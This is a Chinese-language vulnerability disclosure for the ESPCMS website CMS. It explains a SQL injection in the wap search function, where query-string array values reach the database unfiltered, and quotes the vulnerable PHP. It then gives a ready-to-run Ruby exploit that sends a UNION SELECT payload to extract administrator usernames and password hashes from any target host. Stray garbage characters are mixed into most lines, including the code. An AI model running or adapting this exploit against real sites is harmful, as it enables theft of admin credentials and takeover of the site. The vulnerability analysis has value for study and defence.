0×0 漏洞概述0×1 漏洞细节
* H% {2 p5 m( A* ^0×2 PoC* m1 {* T0 _/ j$ ?5 A! N* L
( H/ i& m# _1 Z( z
* W8 Q7 G- c/ j; h( X! |8 i* `
0×0 漏洞概述. R1 L% j1 S. [4 _
2 j, f3 y9 V% l/ ]" r9 s; r
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
% t8 B. J: ^/ E+ z# b$ |9 l其在处理传入的参数时考虑不严谨导致SQL注入发生
: |$ K/ G# ?8 t2 b# Z
* h! v6 l4 R) M4 a) v: P: Z* l( ]6 M6 M s" M% {0 G g# c
0×1 漏洞细节
. G& U4 B9 }) Z7 _ g$ ^/ b% C- M/ d6 w0 |0 e; h+ W
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。7 s0 M0 i2 s# j) b- X) f0 I, f
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。* ~* H; G) N8 X/ u
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
H2 n4 E q. m; A% O' e
& E- z3 u! s! |* q7 m9 \; q1 A在/interface/3gwap_search.php文件的in_result函数中:
( [+ R. ?. X" b+ ?! z9 f* V$ o$ H/ Z* R% Y, M- r
4 N4 ?/ t3 M! V6 a+ @/ \ g
! V& e0 D* D- ?; o4 `2 q, R function in_result() {
1 ^/ y: x' j1 q" t% \ ... ... ... ... ... ... ... ... ...
( P: B2 G& n. ]. ]+ e1 _7 ^; E $urlcode = $_SERVER[ 'QUERY_STRING '];
; B* n; K! P. f: w( p7 X' @ o parse_str(html_entity_decode($urlcode), $output);
/ O& Y. A" d/ h8 O$ R9 p0 L6 d% S1 M& b" a; x
... ... ... ... ... ... ... ... ...+ K4 ~# _2 `# }( ^- F7 |
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
$ Z' g9 f' G' w1 j& V( o
+ s+ K, K4 M* V" r; N8 y $db_table = db_prefix . 'model_att';- |1 A' H# U1 |5 _9 p
& x' _+ E3 c) B- W" |2 k: Y foreach ($output['attr' ] as $key => $value) {& S# A( o0 R+ F3 N) L! M$ l e
if ($value) {
; k0 | K; O5 t" L# _8 A ?9 k; ?( s k6 [( d
$key = addslashes($key);8 Q! g* O$ g( Y$ n u
$key = $this-> fun->inputcodetrim($key);* |% w* T/ P% z3 M* p! x3 s! N( s
$db_att_where = " WHERE isclass=1 AND attrname='$key'";7 o/ q# ]9 G% h8 R2 Z7 O
$countnum = $this->db_numrows($db_table, $db_att_where);
; P8 k; {; ~' h w if ($countnum > 0) {; d/ z- f6 V& a
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;% ?0 e* q r# F3 C* p+ Y
}
( K1 }) A6 `+ L X }
' M3 s" \8 R/ h; M$ K- k }( h! c% p$ w0 b3 R" Z$ e6 @: U' y
}
% Y3 Z W6 \ Z0 S' f5 k" m if (!empty ($keyword) && empty($keyname)) {7 R: E8 r/ c9 d4 Q N) \
$keyname = 'title';5 I5 K/ X, r5 C, r$ t) j
$db_where.= " AND a.title like '%$keyword%'" ;
9 |' Y( t: `, Q' h T0 Q } elseif (!empty ($keyword) && !empty($keyname)) {
8 |1 F- ?4 f2 }; {5 n $db_where.= " AND $keyname like '% $keyword%'";
+ f O& W3 z% r+ |; o" b5 G. s }
8 M% D7 y# q$ }* V/ z3 I $pagemax = 15;/ h* f+ T: _; U, L& m( L+ l
+ G+ }( u. g9 A2 V9 A
$pagesylte = 1;0 d9 @ x; B! u0 s
3 G/ E& Z% ?" U) \* l8 W
if ($countnum > 0) {
# O1 u! K, N5 Y' E2 N: c& k* d$ A& y* ~# \2 F: `2 l
$numpage = ceil($countnum / $pagemax);6 {4 G/ M) ~6 U1 P, k5 V
} else {
0 P" F, s- l4 _ $numpage = 1;$ B9 E' Q4 }8 J! H, o3 i2 F$ a
}
9 m3 t) w, T) f" { $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;- V4 R# @: W/ _1 w6 U5 T
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
9 {) E& z9 h l2 w$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);- Y2 c) [2 N; Q; S4 q
... ... ... ... ... ... ... ... ...
1 `, P: T, _# w' B }2 h8 T6 v8 x6 ]) A
; l8 O8 G" }- [$ k# ^, W! J
R" B3 M2 b& i2 ~, t7 q7 U0×2 PoC* W/ x& I: y( X4 Y8 P% O# {* p! B
8 P% U6 l4 ^4 y3 \+ O( y! W2 m0 I6 {9 M. ~: L' Z
4 `2 @5 j& u# J4 g5 Y* J1 Srequire "net/http". E) F0 H8 n5 [& }: P1 B: g
: C- p0 T& z6 l8 H
def request(method, url)2 m8 b+ _% x1 V+ ^4 A
if method.eql?("get")
+ u$ S8 h7 \4 p9 K8 N, J: F& D uri = URI.parse(url)
" e7 a9 }. a% _! I" o- d http = Net::HTTP.new(uri.host, uri.port)
0 x+ `: E) A3 U6 h# r% v% @ response = http.request(Net::HTTP::Get.new(uri.request_uri))2 ?7 `0 G$ w3 U8 o6 Y
return response. w8 W0 v( H- t$ G9 P8 d
end
1 K+ k- Y( i+ J3 G1 [end7 [1 o* q1 d% ^. \) r( @
" z" }- [5 v$ e6 N! a- q, t
doc =<<HERE& u* Z3 d& H4 q& {1 Y5 Y- ]1 i
-------------------------------------------------------
0 i3 e, Y4 d, m5 \$ E# `8 U. o6 ]Espcms Injection Exploit
' G1 n2 M/ ?6 p1 d8 W, bAuthor:ztz
4 B+ `; ^8 _: `6 Y5 G3 v$ q) }4 yBlog:http://ztz.fuzzexp.org/; ~7 O9 i) a1 m- P
-------------------------------------------------------
( l! H, v5 Y/ ]* I( c9 @& s+ O$ Z+ `& w5 k( Y* n1 z5 [
HERE% x. i' c8 I( g3 ]% X w( k
/ f8 N* n! G# g# c5 r7 p
usage =<<HERE
* @8 U# ~3 H2 fUsage: ruby #{$0} host port path
- B* ?: W! n: Q+ ^example: ruby #{$0} www.target.com 80 /
0 T! L, e% ?2 h! k( ]- R8 {( rHERE
2 X, n. M; L* Z: ]5 V0 ?1 A5 b X8 h* q9 O
puts doc
4 f' }# R; u! S) Qif ARGV.length < 34 `" Z/ B+ j0 u, L( N
puts usage
3 c p9 ~+ d' relse! v- Y0 h+ _$ p5 m( i& ]) K
$host = ARGV[0]* K2 Z, f* I; Q b4 L0 G
$port = ARGV[1]! ]- e8 t1 Q: v; k: n! z" Y
$path = ARGV[2]
3 U% C8 A9 ^3 n
8 w: P! B5 M& h puts "send request..."3 u; b) s a: P% u7 x
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&; M' h5 ~& Z) ?- ?- P
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
. _' U s" s$ s6 m! R5 q,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27. [- a8 Y- h, c
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"( E1 p" r; T8 W
response = request("get", url)
( p7 t2 X# q/ M5 B7 y- | result = response.body.scan(/\w+&\w{32}/)
5 N2 n% t% Q5 x5 i, \9 |6 j puts result6 T1 o8 j% B+ z2 _; W
end
9 {; k, s7 ]3 A4 Z2 ~! a7 M0 v2 v" ^, n- q I3 H7 q
|